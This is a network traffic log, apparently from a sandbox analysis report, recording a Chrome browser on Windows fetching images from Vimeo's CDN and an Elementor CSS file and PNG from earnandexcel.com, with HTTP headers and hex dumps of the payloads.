2024-04-11 21:26:41 UTC	904	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:41 GMT Content-Type: image/png Content-Length: 172 Connection: close CF-Ray: 872e0e6a49cc42c4-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60dfea3f-ac" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 03 Jul 2021 04:40:31 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d3AuFeFVxhCZA1WOJxFuaKrQP0sgCHE%2Bu6tn2TIF1%2BTApeYpxpwbtqAuzCApy8838N%2BP0zkUJWAWV6srBbQOYMb%2F%2FK5d7SFgXCcHQLxICo1SHXVqlyKNkn0DShrJjPy1Zno%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:41 UTC	172	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 02 03 00 00 00 9d 19 d5 6b 00 00 00 0c 50 4c 54 45 00 00 00 ff ff ff ff ff ff ff ff ff 38 c0 3b a8 00 00 00 03 74 52 4e 53 00 60 cf 94 50 70 58 00 00 00 4c 49 44 41 54 08 d7 2d 8e c1 0d 00 21 0c c3 72 9f 63 0a 76 61 28 06 61 34 46 22 96 0c 48 8d 62 da 26 27 3d 7f 36 65 f6 26 d5 63 25 df e5 21 81 13 8c c2 a9 0f 07 d5 02 15 16 01 8b 2c 9a 7e b1 c1 76 87 39 da 45 ae 35 84 91 0c f8 00 08 43 12 67 6a ce 41 66 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRkPLTE8;tRNS`PpXLIDAT-!rcva(a4F"Hb&'=6e&c%!,~v9E5CgjAfIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.17	49777	151.101.192.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	431	OUT	GET /video/755912404-7b63338d02fc79560c0570e832acf14f8130f0197c8c7bd50735d0c605a9e6ed-d?mw=80&q=85 HTTP/1.1 Host: i.vimeocdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:40 UTC	581	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1728 Cache-Control: max-age=2592000 Content-Type: image/jpeg Etag: "781541176834c8e5b42013c2aa509b07" X-Viewmaster-Lossless-Format: automatic Via: 1.1 google, 1.1 varnish, 1.1 varnish Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-Viewmaster-Status Access-Control-Max-Age: 86400 Accept-Ranges: bytes Age: 344910 Date: Thu, 11 Apr 2024 21:26:40 GMT X-Served-By: cache-dfw-kdal2120132-DFW, cache-ewr18124-EWR X-Cache: HIT, HIT X-Cache-Hits: 3, 0 X-Timer: S1712870801.935992,VS0,VE3 Vary: Accept
2024-04-11 21:26:40 UTC	1379	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 05 05 05 05 05 05 05 06 06 05 08 08 07 08 08 0b 0a 09 09 0a 0b 11 0c 0d 0c 0d 0c 11 1a 10 13 10 10 13 10 1a 17 1b 16 15 16 1b 17 29 20 1c 1c 20 29 2f 27 25 27 2f 39 33 33 39 47 44 47 5d 5d 7d 01 05 05 05 05 05 05 05 06 06 05 08 08 07 08 08 0b 0a 09 09 0a 0b 11 0c 0d 0c 0d 0c 11 1a 10 13 10 10 13 10 1a 17 1b 16 15 16 1b 17 29 20 1c 1c 20 29 2f 27 25 27 2f 39 33 33 39 47 44 47 5d 5d 7d ff c2 00 11 08 00 2d 00 50 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 03 01 00 03 01 00 00 00 00 00 00 00 00 00 00 05 06 07 04 02 03 08 01 ff da 00 08 01 01 00 00 00 00 37 87 17 02 c4 59 67 d4 9e 39 b2 f2 ec de 83 46 54 d0 80 08 6b 6b 08 ae b0 4f ca 60 cd 04 6a 5e 40 f4 c7 99 a9 ce b1 eb b5 37 5f Data Ascii: JFIF) )/'%'/9339GDG]]}) )/'%'/9339GDG]]}-P"7Yg9FTkkO`j^@7_
2024-04-11 21:26:40 UTC	349	IN	Data Raw: 5b 91 a5 f4 d1 36 3f b7 87 ee db f8 eb fa ff 00 58 17 1f 46 21 fd c9 fe 3a a1 a6 82 bf a6 e8 e2 a8 4d c8 29 63 61 8c 02 18 2e 43 0d 0b f5 67 4b de e2 96 9c 99 7b 53 b2 1d c7 05 95 86 31 91 ab df 5b 5d a8 a8 e9 aa e1 23 0f 3a a3 c6 c7 70 2a 50 9d 5e 3a ae e5 7c aa 48 a4 22 38 51 be 01 ce 4f cf 54 36 1a 3e cc 73 4e 5a 67 93 9c 37 0a 31 f2 d5 1a 0a 96 8a 09 23 80 02 c5 83 2d 3c 41 81 6f 7b 83 b7 52 50 53 ac 85 44 51 0d a1 5f 22 18 c3 70 73 e4 28 23 c6 bf ff c4 00 21 11 01 00 02 01 03 04 03 00 00 00 00 00 00 00 00 00 01 00 02 11 03 12 21 04 41 61 91 13 31 d1 ff da 00 08 01 02 01 01 3f 00 52 6e 09 6b c1 cc 25 8a 00 bd fc c2 b5 5e 4e 27 c5 5c 71 c4 bd 71 c8 e2 08 19 ce 4f 10 df 50 c0 7b 9d 4f 50 74 f6 d0 bd 8c 8d b6 fb 8d ac 38 0e d2 da a5 29 9b 9f 7c 60 86 b5 Data Ascii: [6?XF!:M)ca.CgK{S1[]#:p*P^:\|H"8QOT6>sNZg71#-<Ao{RPSDQ_"ps(#!!Aa1?Rnk%^N'\qqOP{OPt8)\|`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.17	49783	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:41 UTC	600	OUT	GET /wp-content/plugins/elementor/assets/lib/animations/animations.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:41 UTC	930	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:41 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e6b7b5a41a1-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b837e7-4824" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 19 Jul 2023 19:22:15 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QHOER2kwGGM5%2BYc3ZjtTBAReicYw%2BIspN37cMaY8TrhWwAgKLUiYyDPaJBaUITRFuWR%2BrwhbXjOuH71IDQG1if3FdFso0qAu2A3AarD%2FdJoor9QyT8ofPe5Vba1CKZC%2BmtY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:41 UTC	439	IN	Data Raw: 34 38 32 34 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 7b 32 30 25 2c 35 33 25 2c 38 30 25 2c 66 72 6f 6d 2c 74 6f 7b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 32 31 35 2c 2e 36 31 2c 2e 33 35 35 2c 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 7d 34 30 25 2c 34 33 25 7b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 37 35 35 2c 2e 30 35 30 2c 2e 38 35 35 2c 2e 30 36 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 33 30 70 78 2c 30 29 7d 37 30 25 7b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 Data Ascii: 4824@keyframes bounce{20%,53%,80%,from,to{animation-timing-function:cubic-bezier(.215,.61,.355,1);transform:translate3d(0,0,0)}40%,43%{animation-timing-function:cubic-bezier(.755,.050,.855,.060);transform:translate3d(0,-30px,0)}70%{animation-timing-func
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 73 68 7b 35 30 25 2c 66 72 6f 6d 2c 74 6f 7b 6f 70 61 63 69 74 79 3a 31 7d 32 35 25 2c 37 35 25 7b 6f 70 61 63 69 74 79 3a 30 7d 7d 2e 66 6c 61 73 68 7b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 6c 61 73 68 7d 40 6b 65 79 66 72 61 6d 65 73 20 70 75 6c 73 65 7b 66 72 6f 6d 2c 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2c 31 2c 31 29 7d 35 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2e 30 35 2c 31 2e 30 35 2c 31 2e 30 35 29 7d 7d 2e 70 75 6c 73 65 7b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 70 75 6c 73 65 7d 40 6b 65 79 66 72 61 6d 65 73 20 72 75 62 62 65 72 42 61 6e 64 7b 66 72 6f 6d 2c 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2c 31 2c 31 29 7d 33 30 25 7b 74 72 61 6e 73 66 6f Data Ascii: sh{50%,from,to{opacity:1}25%,75%{opacity:0}}.flash{animation-name:flash}@keyframes pulse{from,to{transform:scale3d(1,1,1)}50%{transform:scale3d(1.05,1.05,1.05)}}.pulse{animation-name:pulse}@keyframes rubberBand{from,to{transform:scale3d(1,1,1)}30%{transfo
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 2e 31 2c 31 2e 31 2c 31 2e 31 29 20 72 6f 74 61 74 65 33 64 28 30 2c 30 2c 31 2c 33 64 65 67 29 7d 34 30 25 2c 36 30 25 2c 38 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2e 31 2c 31 2e 31 2c 31 2e 31 29 20 72 6f 74 61 74 65 33 64 28 30 2c 30 2c 31 2c 2d 33 64 65 67 29 7d 7d 2e 74 61 64 61 7b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 74 61 64 61 7d 40 6b 65 79 66 72 61 6d 65 73 20 77 6f 62 62 6c 65 7b 66 72 6f 6d 2c 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 31 35 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 32 35 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 30 2c 31 2c 2d 35 64 65 67 29 7d 33 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 32 30 25 2c 30 Data Ascii: .1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}}.tada{animation-name:tada}@keyframes wobble{from,to{transform:none}15%{transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{transform:translate3d(20%,0
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 32 31 35 2c 2e 36 31 2c 2e 33 35 35 2c 31 29 7d 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 33 30 30 30 70 78 2c 30 29 7d 36 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 32 35 70 78 2c 30 29 7d 37 35 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 31 30 70 78 2c 30 29 7d 39 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 35 70 78 2c 30 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 7d 2e 62 6f 75 6e 63 65 49 6e 44 6f 77 6e 7b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 62 6f 75 6e 63 65 49 6e 44 6f 77 Data Ascii: cubic-bezier(.215,.61,.355,1)}0%{opacity:0;transform:translate3d(0,-3000px,0)}60%{opacity:1;transform:translate3d(0,25px,0)}75%{transform:translate3d(0,-10px,0)}90%{transform:translate3d(0,5px,0)}to{transform:none}}.bounceInDown{animation-name:bounceInDow
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 31 30 30 25 2c 30 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 7d 2e 66 61 64 65 49 6e 44 6f 77 6e 7b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 64 65 49 6e 44 6f 77 6e 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 49 6e 4c 65 66 74 7b 66 72 6f 6d 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 30 30 25 2c 30 2c 30 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 7d 2e 66 61 64 65 49 6e 4c 65 66 74 7b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 64 65 49 6e 4c 65 66 74 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 49 6e 52 69 67 Data Ascii: ansform:translate3d(0,-100%,0)}to{opacity:1;transform:none}}.fadeInDown{animation-name:fadeInDown}@keyframes fadeInLeft{from{opacity:0;transform:translate3d(-100%,0,0)}to{opacity:1;transform:none}}.fadeInLeft{animation-name:fadeInLeft}@keyframes fadeInRig
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 44 6f 77 6e 52 69 67 68 74 7d 40 6b 65 79 66 72 61 6d 65 73 20 72 6f 74 61 74 65 49 6e 55 70 4c 65 66 74 7b 66 72 6f 6d 7b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 6c 65 66 74 20 62 6f 74 74 6f 6d 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 33 64 28 30 2c 30 2c 31 2c 34 35 64 65 67 29 3b 6f 70 61 63 69 74 79 3a 30 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 6c 65 66 74 20 62 6f 74 74 6f 6d 3b 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 2e 72 6f 74 61 74 65 49 6e 55 70 4c 65 66 74 7b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 72 6f 74 61 74 65 49 6e 55 70 4c 65 66 74 7d 40 6b 65 79 66 72 61 6d 65 73 20 72 6f 74 61 74 65 49 6e 55 70 52 69 67 68 74 7b 66 72 6f 6d 7b 74 72 61 6e 73 66 6f Data Ascii: DownRight}@keyframes rotateInUpLeft{from{transform-origin:left bottom;transform:rotate3d(0,0,1,45deg);opacity:0}to{transform-origin:left bottom;transform:none;opacity:1}}.rotateInUpLeft{animation-name:rotateInUpLeft}@keyframes rotateInUpRight{from{transfo
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 31 2c 2e 31 29 20 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 30 30 70 78 2c 30 2c 30 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 35 35 2c 2e 30 35 35 2c 2e 36 37 35 2c 2e 31 39 29 7d 36 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 2e 34 37 35 2c 2e 34 37 35 2c 2e 34 37 35 29 20 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 30 70 78 2c 30 2c 30 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 31 37 35 2c 2e 38 38 35 2c 2e 33 32 2c 31 29 7d 7d 2e 7a 6f 6f 6d 49 6e 52 69 67 68 74 7b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 7a 6f 6f 6d 49 6e 52 69 67 68 74 Data Ascii: 1,.1) translate3d(1000px,0,0);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInRight{animation-name:zoomInRight
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 73 68 72 69 6e 6b 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 2e 33 73 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 74 72 61 6e 73 66 6f 72 6d 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 73 68 72 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 73 68 72 69 6e 6b 3a 66 6f 63 75 73 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 73 68 72 69 6e 6b 3a 68 6f 76 65 72 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 30 2e 39 29 7d 40 6b 65 79 66 72 61 6d 65 73 20 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 70 75 6c 73 65 7b 32 35 25 7b 74 72 61 6e 73 66 6f 72 Data Ascii: .elementor-animation-shrink{transition-duration:.3s;transition-property:transform}.elementor-animation-shrink:active,.elementor-animation-shrink:focus,.elementor-animation-shrink:hover{transform:scale(0.9)}@keyframes elementor-animation-pulse{25%{transfor
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 69 6f 6e 2d 70 75 73 68 3a 66 6f 63 75 73 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 70 75 73 68 3a 68 6f 76 65 72 7b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 70 75 73 68 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 2e 33 73 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 3b 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 31 7d 40 6b 65 79 66 72 61 6d 65 73 20 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 70 6f 70 7b 35 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 32 29 7d 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 70 6f Data Ascii: ion-push:focus,.elementor-animation-push:hover{animation-name:elementor-animation-push;animation-duration:.3s;animation-timing-function:linear;animation-iteration-count:1}@keyframes elementor-animation-pop{50%{transform:scale(1.2)}}.elementor-animation-po
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 72 6d 3a 73 63 61 6c 65 28 31 2e 31 29 20 72 6f 74 61 74 65 28 34 64 65 67 29 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 66 6c 6f 61 74 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 2e 33 73 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 74 72 61 6e 73 66 6f 72 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 66 6c 6f 61 74 3a 61 63 74 69 76 65 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 66 6c 6f 61 74 3a 66 6f 63 75 73 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 69 6f 6e 2d 66 6c 6f 61 74 3a 68 6f 76 65 72 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 Data Ascii: rm:scale(1.1) rotate(4deg)}.elementor-animation-float{transition-duration:.3s;transition-property:transform;transition-timing-function:ease-out}.elementor-animation-float:active,.elementor-animation-float:focus,.elementor-animation-float:hover{transform:t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.17	49784	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:41 UTC	552	OUT	GET /wp-content/uploads/edumall-shape-01.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
2024-04-11 21:26:41 UTC	903	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:41 GMT Content-Type: image/png Content-Length: 6611 Connection: close CF-Ray: 872e0e6b9c38c335-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32f1-19d3" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:25 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TxaZukGYEVVuCzfBDN1PdeA7LrdwH1dNyyTmhLu2w0kb8G4tz7IJ6wpjkHb5u8Hog38VnnH0cPIVmp%2FHDDSletRsCtM%2FZD4QeLvnikszKuW5xDTxbxBpOW98p71c%2B7JQZWM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:41 UTC	466	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b3 00 00 00 b2 08 03 00 00 00 3e 96 0e 64 00 00 00 87 50 4c 54 45 00 00 00 54 6c ff 61 74 ff 58 6a ff 5c 70 ff 62 75 ff 61 74 ff 61 74 ff 61 74 ff 5f 71 ff 5c 70 ff 5d 70 ff 60 73 ff 61 74 ff 61 74 ff 5e 73 ff 61 74 ff 61 74 ff 5f 72 ff 61 74 ff 61 74 ff 61 74 ff 60 74 ff 61 74 ff 60 73 ff 61 74 ff 61 74 ff 61 74 ff 61 75 ff 61 74 ff 61 74 ff 60 73 ff 61 74 ff 5f 72 ff 61 74 ff 61 73 ff 5f 72 ff 61 74 ff 61 74 ff 61 74 ff 61 73 ff 60 73 ff 60 74 ff 61 74 ff 61 74 ff c4 86 a6 74 00 00 00 2d 74 52 4e 53 00 08 cf 0e 14 cb bf c7 ba 27 18 1e 41 af b5 22 5d 7d 2d 97 76 aa 47 8d 3b c3 a5 62 d7 92 88 4b 83 36 d3 71 31 6c 9c 67 57 4f 54 a0 db 96 05 91 bf 00 00 18 ce 49 44 41 54 78 da d5 9d e9 7a e3 28 d3 86 Data Ascii: PNGIHDR>dPLTETlatXj\pbuatatat_q\p]p`satat^satat_ratatat`tat`satatatauatat`sat_ratas_ratatatas`s`tatatt-tRNS'A"]}-vG;bK6q1lgWOTIDATxz(
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 0b ff fb 4b fc 87 a5 61 8a 22 87 ed dd ab 0b c9 c2 67 34 7d f9 b3 cd 62 91 09 2a 3d 61 e1 9d 41 99 42 07 fd 78 e8 2f 58 6e e8 43 24 4b f6 07 44 12 e2 0c 9c 84 f9 a2 be 92 9d 76 9c 30 c6 08 a1 a2 2c 45 41 64 d3 23 75 46 a2 f0 ef 57 c9 31 40 0b 7e ea b0 54 e6 3d 5f 30 ed f6 c9 31 4d 67 4a b7 aa 3a 5c 47 9b 11 c9 ff c0 b6 68 d7 97 4a 9b f5 74 cc a2 ba ab dc 29 0c f3 ad 2e 48 d9 a2 0f 11 95 43 d4 1b 2f bf 6c 1e 5b 8c bf bd c7 4e 70 59 2c c5 06 37 9c 89 2c 9e c7 6e 91 94 16 fc 1a a7 b6 f2 ed f5 92 79 a0 ff 87 83 bf 69 60 1d f3 6d e0 0c 6f 2b 89 6c 95 9f 4c 70 b2 bd 9b 68 64 da b6 a1 09 13 75 97 fd 05 6a fb e5 ef e9 b2 e1 73 56 f0 6b d3 75 0b c7 bc c9 95 a5 96 bd 36 16 64 ef 6a 1c 82 63 d1 5d 7c dd 0f 58 ab ef 31 20 c8 b2 ac c9 ad e2 2e a8 5c 4f 1d c6 9e 94 16 Data Ascii: Ka"g4}b*=aABx/XnC$KDv0,EAd#uFW1@~T=_01MgJ:\GhJt).HC/l[NpY,7,nyi`mo+lLphdujsVku6djc]\|X1 .\O
